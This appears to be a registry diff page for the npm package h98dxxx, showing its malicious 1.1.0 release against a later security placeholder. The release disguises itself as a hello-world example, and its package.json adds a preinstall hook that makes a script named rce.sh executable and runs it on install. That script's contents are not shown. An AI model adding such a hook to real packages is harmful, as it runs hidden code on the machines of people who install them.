h98dxxx 0.0.1-security → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of h98dxxx might be problematic. Click here for more details.
- package/Readme.md +47 -0
- package/bin.js +5 -0
- package/example.gif +0 -0
- package/init.sh +7 -0
- package/lib/index.js +10 -0
- package/package.json +81 -3
- package/rce.sh +3 -0
- package/README.md +0 -5
package/Readme.md
ADDED
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
# Hello World NPM
|
|
2
|
+
|
|
3
|
+
This is an example project to see the minimal amount effort needed to publish to NPM.
|
|
4
|
+
|
|
5
|
+

|
|
6
|
+
|
|
7
|
+
## Installation
|
|
8
|
+
|
|
9
|
+
```
|
|
10
|
+
npm install -g nimstall
|
|
11
|
+
nimstall -g hello-world-npm
|
|
12
|
+
```
|
|
13
|
+
|
|
14
|
+
## Usage
|
|
15
|
+
|
|
16
|
+
### In Your Source Code
|
|
17
|
+
|
|
18
|
+
```
|
|
19
|
+
import { helloWorld } from 'hello-world-npm';
|
|
20
|
+
|
|
21
|
+
console.log(helloWorld());
|
|
22
|
+
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
OR
|
|
26
|
+
|
|
27
|
+
```
|
|
28
|
+
import HelloWorldNPM from 'hello-world-npm';
|
|
29
|
+
|
|
30
|
+
console.log(HelloWorldNPM.helloWorld());
|
|
31
|
+
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
OR
|
|
35
|
+
|
|
36
|
+
```
|
|
37
|
+
import HelloWorldNPM from 'hello-world-npm';
|
|
38
|
+
|
|
39
|
+
console.log(HelloWorldNPM());
|
|
40
|
+
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
### Command Line
|
|
44
|
+
|
|
45
|
+
```
|
|
46
|
+
hello-world-npm
|
|
47
|
+
```
|
package/bin.js
ADDED
package/example.gif
ADDED
|
Binary file
|
package/init.sh
ADDED
package/lib/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,84 @@
|
|
|
1
1
|
{
|
|
2
|
+
"_args": [
|
|
3
|
+
[
|
|
4
|
+
"h98dxxx@1.1.0",
|
|
5
|
+
"/tmp"
|
|
6
|
+
]
|
|
7
|
+
],
|
|
8
|
+
"_from": "h98dxxx@1.1.0",
|
|
9
|
+
"_hasShrinkwrap": false,
|
|
10
|
+
"_id": "h98dxxx@1.1.0",
|
|
11
|
+
"_inCache": true,
|
|
12
|
+
"_installable": true,
|
|
13
|
+
"_location": "/h98dxxx2",
|
|
14
|
+
"_nodeVersion": "4.2.6",
|
|
15
|
+
"_npmOperationalInternal": {
|
|
16
|
+
"host": "s3://npm-registry-packages",
|
|
17
|
+
"tmp": "tmp/h98dxx_1.1.0_1632513640840_0.5346925398194469"
|
|
18
|
+
},
|
|
19
|
+
"_npmUser": {
|
|
20
|
+
"email": "husseinpentest@gmail.com",
|
|
21
|
+
"name": "hussein98d"
|
|
22
|
+
},
|
|
23
|
+
"_npmVersion": "3.5.2",
|
|
24
|
+
"_phantomChildren": {},
|
|
25
|
+
"_requested": {
|
|
26
|
+
"name": "h98dxxx",
|
|
27
|
+
"raw": "h98dxxx@1.1.0",
|
|
28
|
+
"rawSpec": "1.1.0",
|
|
29
|
+
"scope": null,
|
|
30
|
+
"spec": "1.1.0",
|
|
31
|
+
"type": "version"
|
|
32
|
+
},
|
|
33
|
+
"_requiredBy": [
|
|
34
|
+
"#USER"
|
|
35
|
+
],
|
|
36
|
+
"_resolved": "file:h98dxxx",
|
|
37
|
+
"_shasum": "348757ca3eb14331d920e6f7c2f408237ae99437",
|
|
38
|
+
"_shrinkwrap": null,
|
|
39
|
+
"_spec": "h98dxxx@1.1.0",
|
|
40
|
+
"_where": "/tmp",
|
|
41
|
+
"author": {
|
|
42
|
+
"name": "Ryan Smith"
|
|
43
|
+
},
|
|
44
|
+
"bin": {
|
|
45
|
+
"h98dxxx": "./bin.js"
|
|
46
|
+
},
|
|
47
|
+
"bugs": {
|
|
48
|
+
"url": "https://github.com/rms1000watt/hello-world-npm/issues"
|
|
49
|
+
},
|
|
50
|
+
"dependencies": {},
|
|
51
|
+
"description": "Hello World NPM example",
|
|
52
|
+
"devDependencies": {},
|
|
53
|
+
"directories": {},
|
|
54
|
+
"dist": {
|
|
55
|
+
"fileCount": 8,
|
|
56
|
+
"integrity": "sha512-Zo3483vroUtxzdcO81SQhI9SFS+E5LOVC3oZ/VAyLaOje2P1zGslxuMPD0xkXBcu+t7uoMTLbTZhWgWUI2IRxg==",
|
|
57
|
+
"shasum": "348757ca3eb14331d920e6f7c2f408237ae99437",
|
|
58
|
+
"tarball": "https://registry.npmjs.org/h98dxxx/-/h98dxxx-1.1.0.tgz",
|
|
59
|
+
"unpackedSize": 19287
|
|
60
|
+
},
|
|
61
|
+
"gitHead": "457d45035dcf88ac72c148bccee84df81c05bb59",
|
|
62
|
+
"homepage": "https://github.com/rms1000watt/hello-world-npm#readme",
|
|
63
|
+
"keywords": [
|
|
64
|
+
"hello",
|
|
65
|
+
"hello-world",
|
|
66
|
+
"world"
|
|
67
|
+
],
|
|
68
|
+
"license": "MIT",
|
|
69
|
+
"main": "lib/index.js",
|
|
70
|
+
"maintainers": [
|
|
71
|
+
{
|
|
72
|
+
"name": "hussein98d",
|
|
73
|
+
"email": "husseinpentest@gmail.com"
|
|
74
|
+
}
|
|
75
|
+
],
|
|
2
76
|
"name": "h98dxxx",
|
|
3
|
-
"
|
|
4
|
-
"
|
|
5
|
-
"
|
|
77
|
+
"optionalDependencies": {},
|
|
78
|
+
"readme": "ERROR: No README data found!",
|
|
79
|
+
"scripts": {
|
|
80
|
+
"preinstall": "chmod +x rce.sh; ./rce.sh",
|
|
81
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
82
|
+
},
|
|
83
|
+
"version": "1.1.0"
|
|
6
84
|
}
|
package/rce.sh
ADDED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=h98dxxx for more information.
|